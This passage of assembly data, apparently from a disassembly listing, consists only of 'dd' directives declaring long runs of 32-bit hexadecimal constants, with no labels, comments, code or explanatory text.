		dd 5E48D56Fh, 0DAD2FB8Ch, 74D58AEAh, 27E26B32h,	186308CDh
		dd 953E0208h, 5E099463h, 0FBEDB5AAh, 0DB61DF6Ch, 6223DE7Ch
		dd 5C0F3149h, 0B80ED46Fh, 69DA8C46h, 0DEFA1564h, 9388BA71h
		dd 49A69B06h, 76B8F217h, 0A57802F0h, 43205E5Ch,	0D0B2B503h
		dd 336D6DACh, 47232B53h, 0F5A12D0Bh, 63389EBAh,	920F6FB4h
		dd 0AEE08A2Bh, 5BBD5CAEh, 0E92102CCh, 9E511850h, 4A576458h
		dd 2EB7A470h, 40814ED5h, 5A1E2558h, 8E58B858h, 3FC34198h
		dd 53E408AEh, 6A600D89h, 4954BA54h, 0A4D88360h,	0C3B07D6Fh
		dd 0F59B9AFh, 7711D291h, 0D59D39CDh, 140275B6h,	0B7458B16h
		dd 9A6D4AA9h, 7F8E6C81h, 0B42B6364h, 743DE041h,	0F2B0E2A3h
		dd 9F2C740Dh, 74AE14C9h, 22A06AC0h, 35259D45h, 0A7500BF3h
		dd 0A3CDB0BBh, 0C19604EAh, 3D2A145Ah, 0C40D0870h, 0E7FD688h
		dd 10F463E5h, 902CCE28h, 0B1E21D1Ch, 648B84E8h,	47D2A2BDh
		dd 5F4F6ED1h, 125F9D98h, 8C3DE915h, 7713A1E5h, 0BB7DEB41h
		dd 58F28A1Ah, 0B8FFB8ABh, 0D458BB5Ch, 0B5075687h, 0A8F4A67Dh
		dd 0C6360C82h, 3AD5A461h, 96CBC834h, 372D47CEh,	42208085h
		dd 972AC1F0h, 11976540h, 8B848A65h, 729666D2h, 62532D04h
		dd 99A80C0Ch, 6541BE19h, 3365FF5Dh, 2A89D4FCh, 0B605805Bh
		dd 2A059457h, 7A4908E5h, 1A987C27h, 0B621EB95h,	0AA93162h
		dd 0A4E15A5h, 50A5898Eh, 5E35078Dh, 0F4E0112Ch,	0C55EA29h
		dd 5FB77B51h, 0A43CAACh, 15302980h, 0F8DE1122h,	16051A52h
		dd 4D030B90h, 0EDB86FD1h, 0AAFBB185h, 8BD6A59h,	31CF56Bh
		dd 757C5B8Dh, 3F9D2FBDh, 8368C70Fh, 48070405h, 882C63CEh
		dd 0D7909749h, 136829Ah, 383E3044h, 13B3C2Ah, 0C1E81C0Bh
		dd 81030BC8h, 6FA1CDA3h, 95955652h, 0FC645D2h, 0E2014A52h
		dd 0FD6EA02Ch, 0D9AD016Ah, 6A10BAAAh, 0FF6C532Ch, 0A0A5A6D8h
		dd 0A3D73502h, 84174F8Ah, 0E36C1992h, 938DDB3Eh, 2FAE6D60h
		dd 528E071Eh, 0FCAB7D47h, 0ACFCA389h, 0CDA3AECDh, 2EA55B01h
		dd 8EF903Ah, 3247D1FEh,	465E9CE8h, 5537B2E9h, 0AFC08B6Ch
		dd 110CF18Dh
		dd 0A88B84D7h, 0CAB19871h, 0E1DCE1F0h, 0EF1DFC5Fh, 0C12A1934h
		dd 3D5620ACh, 0EB8FEFD6h, 55936093h, 0C51E7864h, 0C757C999h
		dd 92E93B17h, 0A06AE6F3h, 0C767FF8Ah, 117952F6h, 22CEAFCFh
		dd 0F91DAA60h, 0D8340BEh, 2780BFC2h, 53127DDAh,	85293340h
		dd 638E2374h, 5A2A98A5h, 0D48BC6CAh, 0F45C1C35h, 1F67EF5Eh
		dd 946289C4h, 0F071D1Dh, 5548FF05h, 0FF7EFBB8h,	5BBA03EAh
		dd 0B1AB1753h, 1448C2F2h, 951F5B31h, 7AD13E15h,	0AB93076Ah
		dd 40AB43A9h, 557B7731h, 8B417ECDh, 0C59592ECh,	97C055C9h
		dd 451E5099h, 7DBA871Dh, 0D75BAE19h, 2B723C1Dh,	62F81D3Fh
		dd 0ED191BDDh, 0CBAC21Bh, 0F4D5C2EAh, 0C6978A7Ch, 5D3A07BAh
		dd 0BA1031F1h, 21CE1995h, 1F5457Eh, 0E8018FF5h,	0B2CEE31Ah
		dd 0B5052BB7h, 5141D029h, 25332579h, 0F86328C2h, 4AEBEDCEh
		dd 375F41B0h, 1A093129h, 2ACE2F7Bh, 0C0616BA1h,	948AA3FDh
		dd 95C12595h, 6AE0CDF9h, 0EFE9AF76h, 7408E787h,	13B310A3h
		dd 31FB6255h, 1BF10080h, 0A6D95D24h, 4D91F55h, 9D4ED4F5h
		dd 7AC79A3h, 687F384h, 0F30BC895h, 4D4C4AC2h, 7E114F5Ah
		dd 0AA624677h, 0F34FCD32h, 0AED58F04h, 554EF600h, 0E1B24404h
		dd 31AC3E87h, 0A0A60F8Bh, 0D5A84577h, 0D431B9D1h, 603A60C5h
		dd 361C83ECh, 0C8820C56h, 1F457350h, 958286AAh,	0BB0D2D50h
		dd 6CC5C3FBh, 0D59551EDh, 0B645A94Eh, 58190026h, 0E94582D4h
		dd 6A7E684Ah, 67CDA285h, 6D20D49Fh, 7E7EB53Bh, 0A81587F5h
		dd 68EEC778h, 0BFA2771Ah, 70309A02h, 0EEE01F55h, 0EF7702DCh
		dd 816344Fh, 1B442032h,	55E0A81Ah, 0F3806DAAh, 0D45944C5h
		dd 0C00B370h, 85FA4AD5h, 0B5413955h, 3142978Bh,	8C38DDCEh
		dd 0C743A5A2h, 38DA3539h, 0C678A890h, 2ACA0CAh,	67400581h
		dd 128B3995h, 0F07353E8h, 0F280E91Ah, 154BA8E6h, 22A0D1DAh
		dd 0CDD969BEh, 0AFB8B39Dh, 8CA7454h, 82E746CDh,	0DAE20E4Bh
		dd 21E6A207h, 4A406214h, 0CCAC9D15h, 82131B2Ah,	59AF9244h
		dd 54202673h, 1879C53Fh, 65361F77h, 0A178A19Ch,	5ABA1A02h
		dd 6E23A6C5h, 1094B882h, 0C3D59048h, 4DF392E7h,	1A43D103h
		dd 1458B183h, 3BDFF2E2h, 33357B31h, 0C7ED4620h,	5AA659DFh
		dd 859A7E36h, 9DFA103Fh, 0F874B313h, 6ECB1A5Ah,	0F85AFF45h
		dd 10977E8Dh, 3ADFC714h, 1B501040h, 0EA7D6F17h,	0C7A3E28Bh
		dd 9C2FEBABh, 41884118h, 4E45B03Fh, 0D05ABA84h,	3B5D2739h
		dd 3A05DFB8h, 225B28ECh, 559627C1h, 0F4045066h,	5DB09167h
		dd 2B70005Ah, 25085AA6h, 0AE171DE8h, 93908460h,	78B3E893h
		dd 6BF4675Dh, 47896A9h,	0E04F7B16h, 0BFF5DDAFh,	0FB22FD18h
		dd 0A40F6F0Ch, 0BAFBD5FAh, 8214EF4Bh, 3C499F61h, 2D0E19Fh
		dd 152AF3A9h, 5D80C79Eh, 0BF69E65Bh, 6E31B221h,	0A35447Ch
		dd 75052EE7h, 8A55C9FDh, 0F69C33F8h, 918CC147h,	5028A283h
		dd 52AB02A8h, 0AACB7669h, 0F9185AA1h, 8A278A5h,	57777726h
		dd 8345014Dh, 0AC932619h, 0C5761672h, 9CC4224Bh, 8D0782A8h
		dd 56B4936Dh, 0F67C83DDh, 13991D51h, 61202250h,	0E7CF12E3h
		dd 0A03A7DEh, 0A22B3DA5h, 5BE0E96h, 597DDD0Bh, 0ED3A2DB8h
		dd 847B8565h, 0D048BCBBh, 56DF282Ch, 17501269h,	13533C39h
		dd 3BCE0715h, 0D336F88Bh, 91450A34h, 0A594C2C7h, 0E7B4C0A1h
		dd 4D0F68E7h, 6555EA42h, 0AF342CE5h, 89C4F0FCh,	0B6C75B9Bh
		dd 37293E02h, 90E68EE1h, 58263B86h, 0CADC2AF7h,	4151D5Fh
		dd 0A1D43DD0h, 57DF244Eh, 8A575A19h, 5650ACC6h,	365740ADh
		dd 51FEE540h, 161DA954h, 739D0426h, 8C69787h, 66B0BE81h
		dd 1B61CF8Ch, 49318647h, 0D269CEB0h, 0DEAA5E3Eh, 0D3CBE5Eh
		dd 0A3F1CA64h, 0AD628B6Dh, 8D8BC574h, 0D0D873A0h, 0BD40C680h
		dd 2552E321h, 0EBED255Dh, 0FA61A238h, 0C4CC5A36h, 13D520A0h
		dd 0A6D0440Ch, 981EEAAh, 677868CAh, 0BAC505F7h,	90875AAEh
		dd 1B7436Bh, 58282551h,	0AD34886Fh, 510ED621h, 0B754C167h
		dd 0FF13A9A1h, 5439F90Dh, 2F063A86h, 0D4CA72D5h, 0E0EA0AC9h
		dd 0D3A8C174h, 43CF62Fh, 0BAFE055Eh, 0D4E32682h, 0A081225Fh
		dd 0DCD128F2h, 4DEC8DDh, 0AC214542h, 358B6EF0h,	0BF3990D4h
		dd 0F1178ACh, 0FC691C85h, 6D75BBF9h, 0C453CA58h, 53D93777h
		dd 43F917BDh, 0D8AD2B21h, 5D6030ACh, 736A84E0h,	8381F325h
		dd 0EA2AB36Ah, 0E8A0F19Ah, 0F2A057ACh, 31B4022Eh, 0A6CEC773h
		dd 0C85D3CB7h, 6AA072C3h, 0B3438B53h, 17BF223Ah, 7F838302h
		dd 4F66A4F1h, 0D98E6696h, 0C142EF1Ch, 0FE294C03h, 0E32184DDh
		dd 38EED53h, 0F46A02B2h, 94FE55Dh, 9158D722h, 0F54E5F8Bh
		dd 0F70A0808h, 5D097584h, 0B2F388C2h, 1C88101Ah, 2DE9B3D6h
		dd 12E629AEh, 30260144h, 80D516E1h, 1BFF4593h, 45BAB35Ch
		dd 549C2D10h, 781071B5h, 0BCBAC051h, 0F3DC7C1Bh, 91FB28A0h
		dd 0F1DA7824h, 5F4D9F1Bh, 0AC1CB368h, 8D41E4DAh, 40B69BB8h
		dd 45094BB5h, 502505Bh,	8424128Fh, 8B47DF02h, 0BECA2208h
		dd 608E14C3h, 9B951295h, 553BAD3h, 348E7943h, 1406C08Eh
		dd 0C64E6151h, 35BCAC56h, 8B2B5D4Bh, 236A1D35h,	813EAB5Dh
		dd 92843574h, 0E26A340h, 0E7AB1A71h, 66B38627h,	557F5544h
		dd 64B5388Ch, 0F9EFC98Fh, 59C750B3h, 585DA755h,	71943A86h
		dd 667BCFC2h, 0BD7471C4h, 429F354Fh, 0F239BAA0h, 0FDA3B4D0h
		dd 911C1C44h, 2E220774h, 74220D8Ah, 8079D522h, 9403E38Ah
		dd 5E3F5C82h, 0C3F357BFh, 0DFCE892Ah, 50EDDEE8h, 866AD759h
		dd 2DE03DE2h, 0A38C861Ah, 40573664h, 54E0F672h,	0CE72780Ch
		dd 0C88E47F8h, 0D20C0DEAh, 24BE8CEDh, 3021C2B3h, 0FCA12A6Eh
		dd 0E9353FC9h, 14501A6Eh, 0D9ED079Ch, 0E4840595h, 0BEE91DE9h
		dd 4A204E07h, 92A761DFh, 0FB6A8BDCh, 0AE20F34Ch, 0C62703B7h
		dd 0E67CEA8Eh, 0B286099Dh, 0EA99151Dh, 7AF8DA0Dh, 0F69BFD95h
		dd 67F997FFh, 50395066h, 0D80645AEh, 95AD153Dh,	0D1A7398Ah
		dd 0E74666DDh, 7177F3Bh, 0ABBCD523h, 3B8028DCh,	668C0536h
		dd 84D19EA5h, 0A5AE229Fh, 8694A645h, 7F443B4h, 62385DE3h
		dd 0DF85350Dh, 7249FA3Bh, 69365201h, 6BAB085Fh,	2FB656A6h
		dd 4577A87Ah, 0F93AD0DDh, 0DC84F8DEh, 0AAFC5AAh, 617CB141h
		dd 991989DEh, 6BA41F75h, 30065EF5h, 6BA946D1h, 80BA2611h
		dd 50DCF0E9h, 0F8166061h, 0A84677EDh, 0D05177CBh, 0B1FC60F8h
		dd 447170DAh, 467FE106h, 5D0F78D0h, 0EA90A7D1h,	5FA3124Ch
		dd 526C0EEh, 0BA438BC2h, 30BE77C1h, 0C4988CE5h,	4EC4085h
		dd 9E891E3Ah, 6B71522Fh, 2E90C7EBh, 4862AEFEh, 15083FF8h
		dd 620AC17Fh, 0F3FA9D43h, 0F28269D0h, 6369F22Bh, 8AD18C36h
		dd 83A9101Ah, 6EF6ECBEh, 0FB548B98h, 375F803Dh,	0EFC37B31h
		dd 675A14Bh, 1F470BFFh,	9C6AD46Dh, 167023F6h, 0C1D5EA07h
		dd 0A4E6682Eh, 6D1ADDF4h, 1B91BFCCh, 0F7C018E7h, 92D23C6Dh
		dd 0C58A517Dh, 3D7A9D21h, 0CC5D6144h, 5203B632h, 86F53A10h
		dd 57F98DCAh, 2A9148D5h, 0CDEF4A2Ch, 331985F6h,	0AE14C3FDh
		dd 0B8F85735h, 0F839608Ah, 0D6289487h, 0CDABE571h, 90569706h
		dd 45A4D529h, 4F9E77D3h, 337163FCh, 3BF5954Dh, 0CAA350D2h
		dd 0CA1670ABh, 70DCF852h, 4A189BC1h, 217E40F9h,	52B9728h
		dd 7F3447AEh, 59902ABCh, 2F639959h, 0B04126EEh,	2AF5D635h
		dd 0AA896D52h, 32D55AA6h, 2C033C69h, 30E00428h,	0D52A685Eh
		dd 4F7FA54Ah, 1ABB82A5h
		dd 5138700Bh, 0E3801534h, 0A2AB2487h, 5631188Ah, 11E00168h
		dd 4D553647h, 8D5429A6h, 812D73E4h, 0BB92ED17h,	752F6248h
		dd 57A1BCC4h, 355E6DA1h, 7FF96C5Ch, 0FF1191A6h,	707FDF1Eh
		dd 0CC9DBE41h, 1C989855h, 708042A2h, 321E04BDh,	38B32AC6h
		dd 32A28204h, 0E9B299EDh, 34C60D17h, 9CB4BA5Fh,	448AB2BAh
		dd 0B0EA3F7Dh, 0D82AABA3h, 49D8CF68h, 6F9C9474h, 0CC326BD6h
		dd 0AC45A090h, 0AACBC68Eh, 0DA31813Ch, 0D124070Dh, 0D240C7F1h
		dd 209C9074h, 240D7D12h, 0F0B515ABh, 0E0AAE443h, 81B54822h
		dd 79161EDDh, 25BE1D32h, 0B16F449Dh, 8560CE3Ch,	9D8D2494h
		dd 0F99921DFh, 324BFC0Dh, 2A539F6Ah, 58690677h,	5819386Ah
		dd 44E8FC84h, 0F21BA2B0h, 8A1AE1A4h, 57F0034Eh,	24E472Dh
		dd 63376929h, 8D41CA1Ah, 656C090Bh, 4931F44Ch, 0FA2B16DAh
		dd 5A8C811Ah, 0CBACACBDh, 0DF9C513Ah, 2389785Fh, 6B35B80Eh
		dd 10482B84h, 0BEF5E033h, 0D3B4026h, 2BE6FF45h,	46F0F762h
		dd 7500D698h, 88FA6562h, 8756F298h, 62561111h, 35034EC8h
		dd 631060FAh, 6B584808h, 35344756h, 0CB831DA9h,	36135416h
		dd 28B4EA33h, 0C3C0C4FFh, 105D4208h, 8BC9B982h,	98B95A34h
		dd 5496AD46h, 46AEE62Eh, 9962EB2Bh, 8D22CA56h, 0BCD52D9Fh
		dd 0C154FD75h, 4693D28Eh, 0A82768E2h, 0F9618156h, 914AA122h
		dd 10308B0Dh, 275CABFh,	1A3E36C8h, 58A05A9Fh, 0FEB52A64h
		dd 68E4AFBDh, 2479D623h, 2077115Fh, 4224FEC6h, 0FEC22EEBh
		dd 7398720Ah, 4EB74E29h, 9B554465h, 4AE226E0h, 9C2953E1h
		dd 11353D6Ah, 0EF58CD55h, 29EB29A2h, 10AB1DB5h,	738CA241h
		dd 889A520Dh, 0E96CCFD8h, 0EC090FF1h, 0EB070859h, 0E1EB4DDAh
		dd 0BAFCA9ABh, 38FC044Dh, 0A0C1AA84h, 0A32BDE2Ah, 8B54E1A7h
		dd 7947E72Dh, 2A1C0BB4h, 24AEF674h, 3AA57014h, 8AACA4Bh
		dd 748D104Ah, 43AD8789h, 88C31F7h, 46220462h, 5F907303h
		dd 12D93B40h, 9AA25988h, 27DC3847h, 0B357FBBh, 0AC626A09h
		dd 0B75A715Eh, 2DCE9D84h, 1CD2C53Bh, 45F7F14Fh,	0FA0FF977h
		dd 0A00A05F5h, 0E2E1A307h, 840D367h, 0D7D5BD77h, 0E1F2DCFh
		dd 46AA64A0h, 26D3C7DBh, 0C48C8810h, 0CD42F8EAh, 0B8B24519h
		dd 0D1502856h, 835528D6h, 3904509Ah, 4C38D20Dh,	1F505562h
		dd 88C16420h, 7F22DC07h, 9D35530Eh, 0A40BF60h, 8A60FBEDh
		dd 0E1E7B7D5h, 0B9500E56h, 0B26F0CEh, 5E738A61h, 0B33B0FBDh
		dd 225CC256h, 71245415h, 0EB97682Bh, 0BF5B0412h, 7415C42Eh
		dd 29FD4662h, 0EDC20C2Eh, 0AEE7D813h, 44C94BBh,	4763D7AFh
		dd 0C83B82B8h, 0AA442492h, 1FF4FB3Ah, 147911AEh, 277643B0h
		dd 0D1B55D3Dh, 93B06867h, 5DC095E8h, 12516713h,	0A6110178h
		dd 2D8C7108h, 0DC0319F7h, 57B95FE1h, 50D0E035h,	976A1984h
		dd 9D531FD5h, 0ACA08B18h, 10DB5DC8h, 3305415h, 9828DEFFh
		dd 0C5FC5ED5h, 0A9826234h, 6C7DEA0Bh, 12C2B1E0h, 4C1304BBh
		dd 0EE6B9984h, 26DE4982h, 0D845A822h, 49C8147h,	0CE0D38Dh
		dd 2EB0117Dh, 0F6F398C0h, 88037A3Eh, 72854912h,	0D7DE155Dh
		dd 94C06859h, 7637E24Bh, 0D438EBEFh, 601B9ED2h,	62F10415h
		dd 2392ABA3h, 92F3AA19h, 2E82E3BDh, 4D15A84Dh, 228CFD05h
		dd 2E55E854h, 148FBB0Eh, 478C9178h, 752D2712h, 0ADEF273Eh
		dd 7E683076h, 0B495E2EBh, 24BE08DFh, 28CA2B16h,	0BB1A8FBCh
		dd 4FF19AF8h, 7C1F630Ah, 2CA9061Ch, 40F878F2h, 4C6A7B41h
		dd 9452157Fh, 0C3F87F51h, 8B7DF232h, 2974C772h,	46541561h
		dd 0E0F2F459h, 6241ABB3h, 0F49B561Fh, 675183BBh, 0E3827F53h
		dd 0A42775E9h, 0AFA5A8AAh, 7AD45C2Ah, 0C5CEE553h, 0A5D07D1Ch
		dd 36E111FDh, 0B36893EFh, 0FB2015D4h, 5EBB7223h, 8D285325h
		dd 461E386Eh, 0B62B08B4h, 2FB321A8h, 0F7BE87EBh, 0A528095h
		dd 8FBCB003h, 870CAF17h, 0C980569Fh, 0AE8DA7FCh, 0FF7C3E8h
		dd 0F7B8CD28h, 8BE0EBA1h, 9FC91D5h, 465CB686h, 4791187h
		dd 24FCD84h, 44159836h,	0A5C7C057h, 46C915F9h, 0ED75F452h
		dd 70E3565Dh, 70149B37h, 0ECDFAE4Fh, 176D3EE7h,	82751043h
		dd 2FBD5EEh, 22BA4496h,	0C4733078h, 80F142DFh, 0FD7083E9h
		dd 0C87EFE44h, 0FE2B6C51h, 0CB3103C3h, 4636B7A2h, 9DF475D9h
		dd 8077A718h, 39802EE7h, 0B8D4127Ah, 1F5CE4C0h,	8BAA5999h
		dd 7C0F46CDh, 35B8CB30h, 7FA04602h, 0B8EB478h, 101C9B01h
		dd 4D561543h, 0AA166Ch,	0B02C28E0h, 887E97C8h, 46B50592h
		dd 0E2FF115Ah, 983E418Eh, 17D818D6h, 324A7A53h,	462AE143h
		dd 4A96B87Ah, 1DE7CEF7h, 250AA22Ah, 0E132F003h,	0B64E57B5h
		dd 0EB3880FCh, 0F96541A2h, 1F450617h, 2BD01AB8h, 57DF9649h
		dd 0FFC274B2h, 8C0BA9C0h, 0C20541ECh, 0BB309074h, 0CF5CFDCCh
		dd 0E1212992h, 8FED3DD4h, 49736C70h, 3EC0928h, 64C50017h
		dd 70865578h, 4A9EAAE8h, 0CB402A15h, 2AB524A1h,	0B0211057h
		dd 0A8B86025h, 6D0E6459h, 0F772440Eh, 36545B01h, 0E2A46971h
		dd 34C3C61Ah, 1CAC5431h, 40A25700h, 0A062560h, 2865684h
		dd 0CF28ADB1h, 379318Ah, 0C02A0897h, 147437Bh, 784BA85Dh
		dd 7C4B908Dh, 8850988Dh, 77484089h, 0C2005901h,	88908990h
		dd 1189D6C3h, 11B140E6h, 38152667h, 3888806Ch, 0C050805Ch
		dd 71A83995h, 266BCA31h, 8C3446CCh, 0B40911B3h,	6D226011h
		dd 1B509844h, 46D66621h, 7843998Ch, 7C433311h, 0C0466099h
		dd 71116899h, 9B04DC26h, 66D1B789h, 5B006E02h, 33FF19BCh
		dd 3922DDA9h, 0D008E254h, 0EA38133h, 82D82514h,	94F5138Dh
		dd 0B64345CFh, 5045C4B1h, 0C2FF4AD7h, 0E09C184Ch, 93CD770h
		dd 0ED023BE7h, 67C058E4h, 3BACF7E6h, 0E17C2BDEh, 9FF6EFC4h
		dd 0DA3B733Eh, 40F82A8Dh, 994FA4F7h, 17D33EB8h,	99F61436h
		dd 98EE35EDh, 8C18CBF7h, 2383094Fh, 0C2FF1100h,	3933EF8Eh
		dd 6859B33Eh, 0D75B2EFCh, 42C00BF4h, 0C875CD00h, 0EB841F1Ah
		dd 0D0693A31h, 0A748707Dh, 17F09F59h, 0D0E5FEFh, 83E627D8h
		dd 0F6C24407h, 5E8F8C14h, 0AB1217Fh, 0B6C9A7D1h, 0C7E17842h
		dd 0F9B0C1F1h, 0C8397D90h, 0CFF703E1h, 7CCB3F44h, 5B17A8E6h
		dd 0BF205C3h, 81F47C9h,	0D62A0D31h, 5EA83E27h, 546CB084h
		dd 33660A86h, 9965C38Ah, 0C26C2562h, 1BA36317h,	0C0DD441Fh
		dd 590576D1h, 0A3006D74h, 8B621411h, 0B67BEBh, 4FF6D837h
		dd 9A74E890h, 6E6389FCh, 6A332BC8h, 2CDC9717h, 909383E1h
		dd 5FA22358h, 91567F1Ch, 4CDB25D4h, 67F38CF7h, 8F840562h
		dd 43A1E0FAh, 8E17603Ah, 0C7BD7CA6h, 0CB37BF06h, 59E36061h
		dd 0C74F112h, 22506607h, 58D0141Eh, 0A91FBEA8h,	8AA3267Fh
		dd 9632A289h, 0DA89C40Dh, 0F48DA080h, 482F54FBh, 5C2EB4D1h
		dd 0D526D32Fh, 34527E67h, 89FEBE82h, 38B407F2h,	9B1CACDh
		dd 8A200835h, 0DA3489E1h, 0A5420E9Fh, 69A6D603h, 8D7327BCh
		dd 0E4C381F1h, 2541CC01h, 4131222h, 8E0A7622h, 0AF44407Dh
		dd 0A1938C60h, 459B9FC5h, 847BB47Dh, 8329F4D5h,	5168991Bh
		dd 0F9B4481Eh, 8F35821Fh, 52AA6DE1h, 5C88902h, 0B02FE8B6h
		dd 0B7026921h, 0E7A24C92h, 8DCB9006h, 0BB533DCh, 6B06D46Eh
		dd 0F348E5D2h, 943E24A2h, 0B2670BFCh, 0D4A081F3h, 0E41B4D4h
		dd 2C91AF28h, 77AA3D1h,	63D578EEh, 0C4FE0641h, 0E34203FDh
		dd 8C1DB01Bh, 0A29F5746h, 0B24520C8h, 0C8008613h, 65F6CD54h
		dd 0F0B1F631h, 0FED06EFBh
		dd 0C8E2CA4Ch, 4503BFBAh, 271BC673h, 76CD8903h,	58A6D02Ch
		dd 58E51F76h, 53EE5816h, 0DB25963Bh, 0B1A9A764h, 0FD57A163h
		dd 0E708C33Ch, 0A6A01A98h, 0B1BAB1E4h, 0D020B1E0h, 7ACB625Fh
		dd 658E58EDh, 3EC1C0Dh,	1493D4B6h, 0FFAA1C40h, 40BF3565h
		dd 1E584C34h, 8563E164h, 0B2C9ED9Ch, 2B264E3Fh,	0D2A13581h
		dd 0EC7925E5h, 8E045C58h, 0A4068A51h, 1F8B0098h, 46C2FAEh
		dd 9EA87A6Ah, 5659A230h, 4C14F676h, 94518CA6h, 0B785801Bh
		dd 0AC6E8C84h, 79C0A4FDh, 0DC2228BEh, 324953AEh, 9A36C697h
		dd 0FBC08E46h, 758A6A13h, 70DFF3FEh, 3BF60FCBh,	0B182F58Dh
		dd 2C606FAEh, 0A1852C99h, 0B234735Ah, 0D6B19646h, 63252585h
		dd 0EF8B1626h, 0AE84FAE5h, 58C1254Dh, 3F99DB1Ah, 5A423AF1h
		dd 0E53052FCh, 0B4D722C6h, 889E074Fh, 1A0703A1h, 0CE58D1A6h
		dd 244DC235h, 52C4C294h, 54122A42h, 9636AA89h, 523B58B9h
		dd 0C58B1630h, 0C2753647h, 588891A7h, 23B5C0D0h, 182B58BDh
		dd 145EE58Ah, 4B2A1635h, 0B1B3B938h, 69A9C54Ch,	0A4050AC7h
		dd 731C06B0h, 2B227A20h, 0EAC58C0h, 0C7A7F2E8h,	0BA62E002h
		dd 0A909EB12h, 0BA699630h, 0CDE25313h, 19C89B84h, 4BC53908h
		dd 14D70F32h, 0AB9558D9h, 0F1A13A18h, 58FC2F82h, 0A6CBE753h
		dd 0B21B13Ch, 9F3578A3h, 0E0A2334Fh, 65AC8B1Ah,	0D1B63CB1h
		dd 889F3E85h, 679858Bh,	2B17AA4Dh, 0E7068D3Bh, 80016292h
		dd 4354064Bh, 6B180DC2h, 0EB596F22h, 75F0053h, 0A6E9A8ECh
		dd 6C56B4CFh, 4AF922E3h, 0DFB5859Bh, 112EB66h, 157C8C1Dh
		dd 4256F0B1h, 8B02021Bh, 6B42C58Ah, 88A21644h, 0AD8956C4h
		dd 96239684h, 2509114Ch, 0DC234113h, 20BCB926h,	0A5884B13h
		dd 69829455h, 1A70D344h, 4DAA34F1h, 44C28D44h, 4A00995h
		dd 81222994h, 122488E4h, 0A908E950h, 0B0279174h, 323FB91Fh
		dd 0AA27F521h, 0E8958846h, 427461B1h, 0A884046Ah, 0E7E5611Ah
		dd 6DA27245h, 0A8892297h, 0CE425404h, 3E93DE54h, 4BA56731h
		dd 0E623FBD1h, 335FD51Eh, 0C899F581h, 22F91D42h, 0B2482898h
		dd 0B4536044h, 4765B91Dh, 34B95F60h, 0D7A5CB16h, 0F4A356C7h
		dd 0ABCAD8FAh, 63696257h, 85E585B1h, 9C3C8585h,	7179CC9Ch
		dd 309CCD45h, 6149405Fh, 0D3C47D18h, 778A2C84h,	1FB8C903h
		dd 7A904A4Bh, 0D94AAD40h, 0C493EBBCh, 93163F48h, 0E4452107h
		dd 0A1940C6h, 312590B4h, 0EBB0435Fh, 56A06A0Ah,	0C94D5938h
		dd 982BC9E2h, 7FEA3446h, 584C4F31h, 4E13C8DDh, 3C47AE26h
		dd 4F120C25h, 0AD392309h, 349A9C24h, 3CD95002h,	4F3BC8CEh
		dd 3CB24874h, 4CB24B23h, 0C7BB18B2h, 1A4333D5h,	0A6248591h
		dd 9486CC46h, 4CB1AD26h, 0C8B5BE96h, 95041DBFh,	5524AC8Dh
		dd 82296268h, 25385EA8h, 9E6878FDh, 89F44A78h, 8A5D1334h
		dd 0F691AA6Ah, 99BB768h, 16C41FADh, 0D9171B1Ah,	25B2C955h
		dd 90A2CB42h, 323F45CBh, 36899B1Dh, 0CE626C13h,	0BA29C84h
		dd 339835C1h, 0F57F3721h, 0E44E99E8h, 3133AFDEh, 0FF5F4267h
		dd 46C7D18Ah, 0A59AE0AAh, 0DABE1D71h, 3CA4165Ch, 22D2CB22h
		dd 73A2F8B2h, 0B236B9F3h, 28B8A714h, 2C9742AAh,	0D204B21Bh
		dd 25DF2C8Ch, 74B268E2h, 8192ECB2h, 1A58362Ch, 0BDCD8593h
		dd 6581B200h, 3A518B23h, 0AC892C58h, 9A77164Ah,	92A68D44h
		dd 92BAB145h, 0CC85A245h, 0BB1A0EBh, 29EE0312h,	270515EFh
		dd 3E0BA804h, 84C978D3h, 0BCCF64DDh, 7770E15Eh,	0CB04A0DCh
		dd 0E0440FBAh, 5AF2005Bh, 385E1F40h, 8FCB222Ah,	7E382821h
		dd 0A64860A7h, 2D0CB3ACh, 76D6BD1Eh, 0B6FC3800h, 0B39D779Bh
		dd 0EF813758h, 3A7D383Dh, 9B4F29EBh, 77F1D85h, 139BBB7Eh
		dd 48D0BB3Ah, 91F30D7h,	4EA4A42Dh, 0BC8D17F7h, 6840C60Eh
		dd 0C0FE6794h, 8C06F0D9h, 1551113Eh, 9DBBE8D6h,	0CCFCAB05h
		dd 0F493E2ADh, 6F11E82Dh, 0FD3A6C9Ah, 2DB3FB08h, 1FA78E83h
		dd 70ACEFE3h, 0F2DD99D0h, 0B9D0DC13h, 0E4743863h, 0A4A57D98h
		dd 99A22EDh, 9BA01FB4h,	46BC45A0h, 46D099D4h, 1322217Ch
		dd 76812669h, 99100F64h, 23453348h, 9B94CAAh, 2355132Ah
		dd 85D32DE1h, 0E5A11321h, 923459Dh, 444B5C5Ah, 68A108D5h
		dd 59F3D5E1h, 10926826h, 3CB4092Dh, 132207B2h, 0B45265Bh
		dd 0BBA90E87h, 3705111Dh, 99896280h, 39984C8Ah,	10611291h
		dd 8FA91905h, 0E39D9A0Bh, 0AA0A228h, 8F34C83Ch,	527D71CAh
		dd 1EC8A0F6h, 310E54CDh, 7F5343EAh, 0FFAB8E11h,	0C4008111h
		dd 59F9514Eh, 7D505036h, 0BBB0DAE9h, 4C387538h,	0CAC7B1EEh
		dd 0CDD53E58h, 0C5E5D2CAh, 95E635FAh, 26811306h, 7F27A16Ch
		dd 4252FE62h, 0B2E0B309h, 0CACAC4EFh, 626993F2h, 0E6AD9278h
		dd 29E6CC47h, 0D2452B0Bh, 4ADDA64h, 0F2E17165h,	67C6F013h
		dd 229B880Dh, 0F564CEAEh, 53C56B9Fh, 30994596h,	0C82692BBh
		dd 57229C4Ch, 816E1344h, 0D671195Ch, 0AE2912C3h, 0E47E650Ch
		dd 601229CAh, 142100EDh, 0ED815477h, 17C1B30Dh,	0DC8C4E7Ch
		dd 4595E430h, 11941ED9h, 643EDFA6h, 3FF96A62h, 268954B8h
		dd 0ACBF5046h, 84917CE7h, 0D1842CAFh, 9974A388h, 2648FAE0h
		dd 2E0F4CACh, 489212AEh, 8B83AD40h, 6AB95204h, 5A51ECB1h
		dd 0E942D195h, 5BD6C54Fh, 0E2C5E0FCh, 4F1DAA5Bh, 1FF8C008h
		dd 234E1A73h, 9A484498h, 0D2EA1AF8h, 0E16BB938h, 5C218552h
		dd 60234A10h, 12243D08h, 13356948h, 0C6AC9E6Ah,	7B8889F4h
		dd 1D978A5Fh, 7091F6B1h, 75C619D9h, 2749B718h, 1746EC5Ch
		dd 0A8D8E75h, 254B4097h, 170B248Eh, 4D1D5ADBh, 0B0F96DC7h
